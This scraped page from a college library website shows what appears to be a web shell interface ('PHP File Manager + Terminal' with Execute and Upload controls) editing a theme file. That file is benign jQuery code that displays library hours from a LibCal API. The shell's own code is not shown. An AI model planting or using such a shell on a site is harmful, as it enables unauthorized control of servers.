Looking for something? Use OneSearch! Posted on January 23, 2020 (February 3, 2025) by Rebecca Hyams PHP File Manager + Terminal PHP File Manager + TerminalServer: www.bmcc.cuny.eduSoftware: Apache/2.4.62 (Debian)Current directory: //var/www/html/library/wp-content/themes/mobius/javascripts Upload Create File Create Folder Execute Editing: /var/www/html/library/wp-content/themes/mobius/javascripts/libhours.js$(document).ready(function () { var requestURL = 'https://api3.libcal.com/api_hours_grid.php?iid=3494&format=json&weeks=1&callback=?'; var $results = $('#weeks-hours-results'); var offset = 0; $.getJSON(requestURL, { 'iid': 3494, 'format': 'json', 'weeks': offset + 2 // in production, set weeks to 1 }, function(data){ function getHours(dayname, day, lid){ var hours = ''; if (lid === 6944) { if (day.times.currently_open === true) { hours += '<dl class="hours--open_now">'; } else { hours += '<dl class="inline">'; } hours += '<dt title="' + day.date + '">'; hours += dayname; hours += '</dt>'; } if (day.times.status === 'open') { //hours += '<dd>'; if (lid === 6944) hours += '<dd> ' if (lid === 6951) hours += '<dd class="hide"> quiet study: ' if (lid === 10652) hours += '<dd class="hide"> quiet study: ' if (lid === 7779) hours += '<dd class="hide"> fitterman: ' hours += day.times.hours[0].from; hours += ' – '; hours += day.times.hours[0].to; if (day.times.note) hours += ' (' + day.times.note + ') '; hours += '</dd>'; } else if (day.times.status === 'text') { if (lid === 6944) { hours += '<dd>Library Hours: '; hours += day.times.text; hours += '</dd>'; } } else if (day.times.status === 'ByApp') { if (lid === 6944) { hours += '<dd>lc'; hours += day.times.note; hours += '</dd>'; } } else if (day.times.status === '24hours') { if (lid === 6944) hours += '<dd>Open 24 Hours</dd>'; } else { if (lid === 6944) hours += '<dd class="closed">Closed</dd>'; } return hours; } var libHours = '<p></p>', MON = '', TUE = '', WED = '', THU = '', FRI = '', SAT = '', SUN = ''; if (data.locations && data.locations.length > 0) { $.each(data.locations, function(i, location){ var week = location.weeks[offset]; MON += getHours("Monday:", week.Monday, location.lid); TUE += getHours("Tuesday:", week.Tuesday, location.lid); WED += getHours("Wednesday:", week.Wednesday, location.lid); THU += getHours("Thursday:", week.Thursday, location.lid); FRI += getHours("Friday:", week.Friday, location.lid); SAT += getHours("Saturday:", week.Saturday, location.lid); SUN += getHours("Sunday:", week.Sunday, location.lid); }); libHours += MON + '</dl>'; libHours += TUE + '</dl>'; libHours += WED + '</dl>'; libHours += THU + '</dl>'; libHours += FRI + '</dl>'; libHours += SAT + '</dl>'; libHours += SUN + '</dl>'; $results.html(libHours); } else { $results.html('<p>No Hours Data Exists</p>'); } }); });Save